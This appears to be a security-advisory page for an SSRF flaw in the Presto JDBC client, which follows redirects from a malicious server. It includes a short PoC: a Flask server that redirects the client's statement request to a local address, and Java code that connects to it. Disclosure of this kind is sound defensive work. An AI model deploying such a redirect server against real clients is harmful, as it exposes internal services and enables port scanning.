GHSA-xm7x-f3w2-4hjm json
Presto JDBC Server-Side Request Forgery by redirect
published 3y ago modified last yr.
- cvss
- 7.6
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Summary
Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can construct a redirect response that Presto JDBC client will follow and view sensitive information from highly sensitive internal servers or perform a local port scan.
### Details
Presto JDBC client uses OkHttp to send `POST /v1/statement` and `GET /v1/info` requests to the remote Presto server. And OkHttp will follow 301 and 302 redirect by default. In addition, JDBC will manually follow 307 and 308 redirect. Therefore, if a malicious server returns a 30x redirect, JDBC client will follow the redirect and cause SSRF.
For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.
The relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `StatementClientV1` .
The flowchart is as follows:
<img src="https://s2.loli.net/2023/09/18/AhiHNL5neuYIK4X.png" alt="trino_jdbc_ssrf_1.png" style="zoom:50%;" />
### PoC
Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:
```python from flask import Flask, redirect
app = Flask(__name__)
@app.route('/v1/statement', methods=['POST']) def redirect_to_interal_server(): return redirect('http://127.0.0.1:8888', code=302)
if __name__ == '__main__': app.run(host="0.0.0.0",port=8000) ```
Connecting to the malicious server using JDBC:
```java String url = "jdbc:presto://<ip>:<port>"; Properties properties = new Properties(); properties.setProperty("user", "root"); try { Connection connection = DriverManager.getConnection(url, properties); Statement stmt = connection.createStatement(); ResultSet res = stmt.executeQuery("show catalogs"); while(res.next()) { System.out.println(res.getString(1)); } } catch (Exception e) { e.printStackTrace(); } ```
Pwned!
### Impact
When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.
### Others
Regarding the fix suggestions, the redirect issue we can consider directly disable the following redirect. If not, we can add a jdbc parameter such as allowRedirect. Like MySQL JDBC caused arbitrary file reading before, its solution is adding the allowLoadLocalInfile parameters. Disable redirect by default, and there is a need to open. The nextUri issue is similar. If we can only take the path of nextUri instead of the complete URL, join the host and path. If not, add a jdbc parameter too.
I think these two vulnerabilities are worth fixing. There is no effective way to avoid this vulnerability at the server side, and the only way to fix them is modifying the jdbc source code. I think many other vendors also have this issue.
I hope to apply for CVEs and give security thanks in the vulnerability bulletin to prove my work, thank you.
Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance
Is GHSA-xm7x-f3w2-4hjm in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 7.6 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| maven | com.facebook.presto:presto-jdbc | <=0.283 |
no fix listed |
Classification
- Weakness
-
- CWE-918 Server-Side Request Forgery
References
Sources
- GitHub Advisory GHSA-xm7x-f3w2-4hjm
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.